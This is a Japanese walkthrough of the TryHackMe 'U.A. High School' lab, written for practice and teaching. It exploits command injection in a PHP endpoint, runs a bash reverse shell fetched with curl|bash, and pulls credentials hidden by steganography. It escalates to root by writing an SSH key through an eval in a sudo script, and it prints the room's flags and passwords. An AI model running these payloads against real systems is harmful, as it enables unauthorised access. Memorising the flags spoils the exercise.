【TryHackMe】U.A. High School：Walkthrough

# 概要

TryHackMe「U.A. High School」のWalkthroughです。

https://tryhackme.com/r/room/yueiua

# Task1

## **Q1**.*What is the user.txt flag?*

**Hint**.*Enumerate thoroughly, there might be hidden functionality. Once you found a way in, be suspicious of any unused files.*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.17.255 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
|   256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_  256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache/2.4.41|

`80`番ポートにアクセスするとホームページが表示されました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/10d8ee29-99e4-250a-9e9f-359baf3f0011.jpeg)

:::note info
タイトルなどからもわかる通り、先日連載終了した某ヒーローアニメのオマージュルームですね
:::

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.32.164
[10:32:08] 200 -    1KB - /about.html
[10:32:29] 301 -  313B  - /assets  ->  http://10.10.32.164/assets/
[10:32:29] 200 -    0B  - /assets/
[10:32:39] 200 -  924B  - /contact.html
```

`/assets`配下をスキャンします。

```
$ gobuster dir -u http://10.10.32.164/assets -w /usr/share/seclists/Discovery/Web-Content/common.txt
/images               (Status: 301) [Size: 320] [--> http://10.10.32.164/assets/images/]
/index.php            (Status: 200) [Size: 0]
```

`/assets/index.php`を発見したのでさらに列挙します。

```
$ dirsearch -u http://10.10.32.164/assets/index.php
[11:55:25] 404 -  274B  - /assets/index.php/%2e%2e//google.com
[11:56:49] 200 -   40B  - /assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir
```

`/assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir`にアクセスするとbase64でエンコードされた文字列が表示されています。

![dir os cmd inj.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/64e07e84-2bf7-2ab2-4021-090cbf9d32c5.jpeg)

文字列をデコードするとディレクトリ情報が表示されたので、`cmd`パラメータで送信したコマンドが実行されていると分かりました。

```
$ echo "aW1hZ2VzCWluZGV4LnBocCAgc3R5bGVzLmNzcwo=" | base64 -d
images  index.php  styles.css
```

リバースシェルペイロードファイルを作成します。

```shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.6.55.144/1234 0>&1
```

HTTPサーバーをKaliで実行します。

```
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Netcatでリバースシェルを待ち受けます。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

`?cmd=curl%20http://10.6.55.144/shell.sh|bash`にアクセスするとセッションを張れました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.175.213] 38888
bash: cannot set terminal process group (774): Inappropriate ioctl for device
bash: no job control in this shell
www-data@myheroacademia:/var/www/html/assets$ whoami
whoami
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`user.txt`にアクセスするには`deku`アカウントに昇格する必要があります。

```
www-data@myheroacademia:/home/deku$ ls -la
ls -la
total 36
drwxr-xr-x 5 deku deku 4096 Jul 10  2023 .
drwxr-xr-x 3 root root 4096 Jul  9  2023 ..
lrwxrwxrwx 1 root root    9 Jul  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 deku deku  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 deku deku 3771 Feb 25  2020 .bashrc
drwx------ 2 deku deku 4096 Jul  9  2023 .cache
drwxrwxr-x 3 deku deku 4096 Jul  9  2023 .local
-rw-r--r-- 1 deku deku  807 Feb 25  2020 .profile
drwx------ 2 deku deku 4096 Jul  9  2023 .ssh
-rw-r--r-- 1 deku deku    0 Jul  9  2023 .sudo_as_admin_successful
-r-------- 1 deku deku   33 Jul 10  2023 user.txt
```

`/var/www`配下を見ると`Hidden_Content`ディレクトリを発見しました。

```
www-data@myheroacademia:/var/www$ ls -al
ls -al
total 16
drwxr-xr-x  4 www-data www-data 4096 Dec 13  2023 .
drwxr-xr-x 14 root     root     4096 Jul  9  2023 ..
drwxrwxr-x  2 www-data www-data 4096 Jul  9  2023 Hidden_Content
drwxr-xr-x  3 www-data www-data 4096 Dec 13  2023 html
```

中には`passphrase.txt`がありました。

```
www-data@myheroacademia:/var/www$ ls -la Hidden_Content
ls -la Hidden_Content
total 12
drwxrwxr-x 2 www-data www-data 4096 Jul  9  2023 .
drwxr-xr-x 4 www-data www-data 4096 Dec 13  2023 ..
-rw-rw-r-- 1 www-data www-data   29 Jul  9  2023 passphrase.txt
```

`passphrase.txt`を確認するとbase64でエンコードされた文字列を発見しました。

```
$ cat Hidden_Content/passphrase.txt
cat Hidden_Content/passphrase.txt
QWxsbWlnaHRGb3JFdmVyISEhCg==
```

文字列をデコードするとパスワードを確認できました。

```
$ echo "QWxsbWlnaHRGb3JFdmVyISEhCg==" | base64 -d
AllmightForEver!!!
```

さらにディレクトリを探索していると`/var/www/html/assets/images/oneforall.jpg`を発見しました。
この画像ファイルはWebサイトに使用されていなかったので怪しいです。

```
www-data@myheroacademia:/var/www/html$ ls -al assets/images
ls -al assets/images
total 336
drwxrwxr-x 2 www-data www-data   4096 Jul  9  2023 .
drwxrwxr-x 3 www-data www-data   4096 Jan 25  2024 ..
-rw-rw-r-- 1 www-data www-data  98264 Jul  9  2023 oneforall.jpg
-rw-rw-r-- 1 www-data www-data 237170 Jul  9  2023 yuei.jpg
```

Kaliにダウンロードします。

```
$ wget http://10.10.175.213/assets/images/oneforall.jpg
```

ファイルの拡張子は`jpg`になっていますが、マジックナンバーはPNGのものになっているので画像を表示できませんでした。

![oneforall jpg.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/41605361-a6fd-39fa-3d42-572961817f5f.jpeg)

マジックナンバーを`FF D8 FF E0 00 10 4A 46 49 46`に編集すると画像を表示できました。

![oneforall.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/26a93521-1f30-f528-1073-ffb042f5c0cf.jpeg)

パスワード`AllmightForEver!!!`を使用し、画像から`steghide`で中に隠されたファイルの抽出を試みると`creds.txt`を発見しました。

```
$ steghide extract -sf oneforall.jpg
Enter passphrase: 
wrote extracted data to "creds.txt".
```

`creds.txt`の内容を確認するとdekuアカウントのパスワードを得られました。

```creds.txt
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:

deku:One?For?All_!!one1/A
```

得られたパスワードを使用し、dekuアカウントでSSH接続をします。

```
$ ssh deku@10.10.175.213
deku@myheroacademia:~$
```

`/home/deku/user.txt`からユーザーフラグを入手できました。

```/home/deku/user.txt
THM{W3lC0m3_D3kU_1A_0n3f0rAll??}
```

**A**.**THM{W3lC0m3_D3kU_1A_0n3f0rAll??}**

## **Q2**.*What is the root.txt flag?*

`sudo -l`で確認すると`/opt/NewComponent/feedback.sh`を発見しました。

```
$ sudo -l
[sudo] password for deku: 
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh
```

`/opt/NewComponent/feedback.sh`の中身を確認すると、ユーザーの入力を受け付け、条件分岐をパスするとその内容を`/var/log/feedback.txt`に追記してます。

```/opt/NewComponent/feedback.sh
#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi
```

`/var/log/feedback.txt`は内容を破棄しているので閲覧しても何もありません。

```
$ ls -l /var/log/feedback.txt
lrwxrwxrwx 1 root root 9 Jul  9  2023 /var/log/feedback.txt -> /dev/null
```

`eval "echo"`コマンドで入力された値を出力しているので任意のコマンドを実行できそうです。

```/opt/NewComponent/feedback.sh
eval "echo $feedback"
```

echoコマンドでは`$(<filename)`にすることでファイルの内容を出力できますが、今回は条件分岐で制限があり実行できません。

```
$ echo $(<test.txt)
test index index.php
```

`echo -n "strings" > filename`でファイルに書き込みができることを利用してSSH接続を試みます。
Kaliで作成した公開鍵をrootのSSH公開鍵として登録できました。

```
$ sudo /opt/NewComponent/feedback.sh
Hello, Welcome to the Report Form       
This is a way to report various problems
    Developed by                        
        The Technical Department of U.A.
Enter your feedback:
-n 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkcG3J2Ah2iMj8byUhQY2SaTjvXZkh7zj5et6r+m9Q1 kali@kali' >> /root/.ssh/authorized_keys
It is This:
Feedback successfully saved.
```

秘密鍵でrootにSSH接続します。

```
$ ssh -i ~/.ssh/id_ed25519 root@10.10.0.106
root@myheroacademia:~# pwd
/root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
__   __               _               _   _                 _____ _          
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___ 
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
                                  _    _ 
             _   _        ___    | |  | |
            | \ | | ___  /   |   | |__| | ___ _ __  ___
            |  \| |/ _ \/_/| |   |  __  |/ _ \ '__|/ _ \
            | |\  | (_)  __| |_  | |  | |  __/ |  | (_) |
            |_| \_|\___/|______| |_|  |_|\___|_|   \___/ 

THM{Y0U_4r3_7h3_NUm83r_1_H3r0}
```

**A**.**THM{Y0U_4r3_7h3_NUm83r_1_H3r0}**